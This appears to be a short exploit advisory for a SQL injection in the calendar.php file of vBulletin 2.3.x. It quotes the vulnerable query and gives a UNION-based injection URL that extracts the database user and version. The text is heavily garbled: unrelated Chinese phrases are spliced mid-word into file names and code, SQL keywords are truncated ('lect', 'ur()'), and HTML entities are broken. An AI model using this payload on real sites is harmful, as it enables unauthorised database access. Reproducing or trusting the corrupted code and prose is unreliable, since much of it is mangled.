vBulletin Forum 2.3.xx SQL Injection

vbulletin forum 2.3.xx sql injection there exist a sql injection problem in ca社会存在和社会意识的辩证关系lendar.php.

&吴召国#8212;—– cut from line 585 in calendar.php —&#儿子8212;—-

el if ($action ==全国十所名牌大学排名 “edit”)

{

$eventinfo = $db_site->query_first(“lect allowsmilies,public,urid,

eventdate,event,subject from calendar_e山东学校vents where eventid = $eventid”);

—————————————————–

if the mysql version is greater than 4.00, a union attack could be ud.

—————————————–

http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12%20union%20(lect%20allowsmilies,public,urid,’0000-0-0′,ur(),version()%20from%20calendar_ev

ents%20where%20eventid%20=%2013)%20order%20by%20eventdate

—————————————–

the query_first function will only return the first row of the query result, so make sure it returns !

the one you want.